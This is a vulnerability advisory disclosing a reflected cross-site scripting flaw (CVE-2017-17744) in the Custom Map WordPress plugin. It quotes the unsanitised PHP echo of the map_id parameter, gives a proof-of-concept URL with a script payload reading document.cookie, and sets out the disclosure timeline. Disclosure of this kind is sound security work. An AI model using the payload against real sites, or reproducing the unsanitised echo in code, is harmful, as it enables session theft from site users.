Product: Custom Map WordPress Plugin - https://wordpress.org/plugins/custom-map/
Vendor: webdesi9
Tested version: 1.1
CVE ID: CVE-2017-17744
** CVE description **
A cross-site scripting (XSS) vulnerability in the custom-map plugin through 1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the map_id parameter to view/advancedsettings.php.
** Technical details **
In custom-map/view/advancedsettings.php:9, $_REQUEST['map_id'] is directly echoed back to user without proper sanitization.
Vulnerable code:
if(isset($_REQUEST['map_id']))
{
echo $map_id=$_REQUEST['map_id'];
https://plugins.trac.wordpress.org/browser/custom-map/trunk/view/advancedsettings.php#L9
** Proof of Concept **
http://<host>/wordpress/wp-admin/admin.php?page=custom_maps_advanced_settings&map_id=<script>alert(document.cookie);</script>
** Solution **
No fix available yet.
** Timeline **
13/10/2017: vendor contacted through webform; no reply
17/10/2017: vendor contacted through webform; no reply
31/10/2017: vendor contacted through support@webdesi9.com; no reply
05/12/2017: vendor contacted through support@webdesi9.com; no reply
19/12/2017: report published
** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).
--
Best Regards,
Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI)
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